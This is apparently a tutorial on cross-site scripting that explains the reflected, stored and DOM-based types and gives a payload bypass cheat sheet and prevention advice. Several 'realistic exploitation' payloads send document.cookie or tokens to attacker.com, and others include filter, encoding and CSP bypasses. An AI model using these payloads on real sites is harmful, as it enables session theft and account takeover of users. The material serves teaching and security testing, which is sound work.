

Cross-Site Scripting (XSS)

1. Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a client-side code injection vulnerability that allows attackers to execute malicious scripts in the browsers of users who visit a vulnerable web application. The vulnerability occurs when an application includes untrusted data in its output without proper validation or encoding, allowing injected code to be interpreted and executed by the browser.

XSS exploits the trust a user's browser has in a legitimate website. Instead of attacking the server directly, XSS targets the users of the application.

2. What Is Cross-Site Scripting (XSS)?

XSS allows attackers to inject malicious JavaScript, HTML, or other client-side code into web pages viewed by other users. When the victim loads the affected page, the browser executes the injected script as if it were legitimate code from the application.

Because the script runs in the context of the vulnerable website, it can access sensitive data such as cookies, session tokens, and DOM elements, and perform actions on behalf of the user.

3. How Does XSS Work?

The general flow of an XSS attack is:

1. The application accepts user input.
2. The input is not properly validated, sanitized, or encoded.
3. The application includes the input in its response.
4. The browser interprets the input as executable code.
5. The malicious script runs in the victim's browser.

The execution context is critical: the script runs with the same privileges as the vulnerable application.

4. XSS Proof of Concept (PoC)

A Proof of Concept demonstrates that injected code executes successfully.

Basic PoC Payload

```
<script>alert('XSS')</script>
```

If the alert box appears, JavaScript execution is confirmed.

Alternative PoC Payloads

```
<img src=x onerror="alert('XSS')">  
<svg onload=alert(1)>
```

These payloads are useful when `<script>` tags are filtered.

5. Types of XSS Attacks

XSS vulnerabilities are broadly classified into three main types:

1. Reflected Cross-Site Scripting
2. Stored Cross-Site Scripting
3. DOM-Based Cross-Site Scripting

6. Reflected Cross-Site Scripting (Reflected XSS)

Description

Reflected XSS occurs when user input is immediately reflected in the HTTP response without being stored on the server. The payload is part of the request and is returned in the response.

Vulnerable Example

Request

```
https://vulnerable-site.com/search?query=shoes
```

Server Response

```
<p>Search results for: shoes</p>
```

Attack Payload

```
https://vulnerable-site.com/search?query=<script>alert('Reflected XSS')</script>
```

Server Response After Injection

```
<p>Search results for: <script>alert('Reflected XSS')</script></p>
```

Result

The browser executes the injected script when the victim clicks the malicious link.

Realistic Exploitation Payload

```
<script>
fetch('https://attacker.com/log?cookie=' + document.cookie);
</script>
```

Why This Works

- Input is not encoded before rendering.
- Browser treats injected content as trusted application code.

Key Characteristics

- Payload is not stored.
- Requires user interaction (clicking a link).
- Common in search fields, error messages, and login pages.

7. Stored Cross-Site Scripting (Stored XSS)

Description

Stored XSS occurs when malicious input is permanently stored on the server (e.g., database, file, log) and later served to users.

Vulnerable Example

A comment system that displays user comments:

User Input

```
Nice article!
```

Rendered Output

```
<p>Nice article!</p>
```

Attacker Input

```
<script>alert('Stored XSS')</script>
```

Stored Data

```
comment = "<script>alert('Stored XSS')</script>"
```

Rendered for All Users

```
<p><script>alert('Stored XSS')</script></p>
```

Result

Every user who loads the page executes the malicious script automatically.

Realistic Exploitation Payload

```
<script>  
new Image().src="https://attacker.com/steal?cookie="+document.cookie;
```

```
</script>
```

Why This Works

- Input is stored without sanitization.
- Output is rendered without encoding.

Key Characteristics

- Payload persists on the server.
- No user interaction required after injection.
- High impact due to mass exploitation.
- Common in comments, forums, profiles, chat systems.

8. DOM-Based Cross-Site Scripting (DOM XSS)

Description

DOM-based XSS occurs entirely on the client side. The vulnerability exists in JavaScript code that processes untrusted data and updates the DOM unsafely.

Vulnerable JavaScript Code

```
<script>
var name = location.hash.substring(1);
document.getElementById("output").innerHTML = name;
</script>
```

Normal Usage

```
https://example.com/page.html#John
```

Rendered Output:

```
<div id="output">John</div>
```

Attack Payload

```
https://example.com/page.html#<img src=x onerror=alert('DOM XSS')>
```

DOM After Injection

```
<div id="output">  
    
</div>
```

Result

The malicious script executes immediately in the browser. The server is not involved.

Realistic Exploitation Payload

```
<img src=x onerror="fetch('https://attacker.com?cookie='+document.cookie)">
```

Why This Works

- `innerHTML` interprets HTML and JavaScript.
- Untrusted data source (`location.hash`) is not validated.

Key Characteristics

- No server-side reflection or storage.
- Harder to detect using traditional scanners.
- Common sources include `location` , `document.referrer` , `window.name` .

9. Comparison of XSS Types

Feature	Reflected XSS	Stored XSS	DOM XSS
Stored on server	No	Yes	No

Feature	Reflected XSS	Stored XSS	DOM XSS
Requires user interaction	Yes	No	No
Server-side vulnerability	Yes	Yes	No
Client-side vulnerability	Yes	Yes	Yes
Severity	Medium	High	Medium to High

10. What Can XSS Be Used For?

XSS can be used to:

- Steal cookies and session tokens
- Hijack user sessions
- Perform actions on behalf of the victim
- Redirect users to malicious websites
- Capture keystrokes
- Inject fake login forms
- Bypass Same-Origin Policy under certain conditions

11. Impact of XSS Vulnerabilities

The impact depends on:

- User privilege level
- Application sensitivity
- Data accessible via JavaScript

High-risk applications (banking, admin panels, internal tools) can suffer complete account compromise.

12. How to Find and Test for XSS Vulnerabilities

Manual Testing

- Identify all input vectors (parameters, headers, cookies).
- Inject unique markers.

- Test with basic and advanced payloads.
- Inspect HTML source and DOM changes.

Automated Testing

- Web vulnerability scanners
 - Burp Suite manual and automated testing
 - Browser developer tools for DOM analysis
-

13. XSS Payload Bypass Cheat Sheet (Integrated)

13.1 Basic Detection Payloads

```
<script>alert(1)</script>  
<img src=x onerror=alert(1)>  
<svg onload=alert(1)>
```

13.2 HTML Context Payloads

```
<script>alert(1)</script>  
<img src=x onerror=alert(1)>  
<svg/onload=alert(1)>
```

Used when input is reflected inside page content.

13.3 Attribute Context Payloads

```
" onfocus="alert(1)  
" autofocus onfocus="alert(1)
```

Used when input is embedded inside an HTML attribute.

13.4 JavaScript Context Payloads

```
';alert(1);//
```


Used when input appears inside JavaScript strings.

13.5 DOM-Based Payloads

```
<img src=x onerror=alert(1)>
```

Common DOM sources:

- location.hash
 - location.search
 - document.referrer
 - window.name
-

13.6 Filter Bypass Techniques

```
<ScRiPt>alert(1)</ScRiPt>  
<svg onload=alert(1)  
<scr<script>ipt>alert(1)</script>
```

Used to bypass weak input filters.

13.7 Encoding-Based Payloads

```
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;  
%3Cscript%3Ealert(1)%3C/script%3E  
%253Cscript%253Ealert(1)%253C/script%253E
```

13.8 Event Handler Payloads

```
<img src=x onerror=alert(1)>  
<input autofocus onfocus=alert(1)>  
<body onload=alert(1)>
```

13.9 CSP Bypass Payloads

```
<script src="https://trusted.com/api?callback=alert"></script>
```

Abuses trusted sources allowed by CSP.

13.10 Dangling Markup Injection

```
<img src="https://attacker.com/?token=
```

Used for data exfiltration when JavaScript execution is blocked.

13.11 Polyglot Payload

```
javascript:/*→</title></style></textarea></script><svg/onload=alert(1)>
```

Works across multiple execution contexts.

14. Content Security Policy (CSP)

CSP restricts where scripts and other resources can be loaded from. It reduces the impact of XSS but does not replace secure coding practices.

Example:

```
Content-Security-Policy: script-src 'self';
```

15. Dangling Markup Injection

Dangling markup injection occurs when partial HTML injection allows attackers to manipulate page structure and leak sensitive data without executing JavaScript. It is commonly used to steal CSRF tokens or sensitive form data.

16. How to Prevent XSS Attacks

- Context-aware output encoding
- Strict input validation using allowlists
- Avoid unsafe DOM functions (`innerHTML` , `document.write`)

- Use secure frameworks with auto-escaping
 - Implement CSP as an additional defense layer
 - Set proper content-type headers
-

17. Common Questions About Cross-Site Scripting

- XSS is one of the most common web vulnerabilities.
 - XSS targets users; SQL Injection targets databases.
 - XSS executes code; CSRF abuses authenticated actions.
 - DOM XSS is harder to detect than server-side XSS.
-

18. Common Payload Examples

```
<script>alert(1)</script>  
<img src=x onerror=alert(1)>  
<svg onload=alert(1)>  
';alert(1);//
```

19. Summary

Cross-Site Scripting remains one of the most dangerous and prevalent web vulnerabilities. Understanding its types, exploitation techniques, and prevention mechanisms is essential for developers, testers, and security professionals.
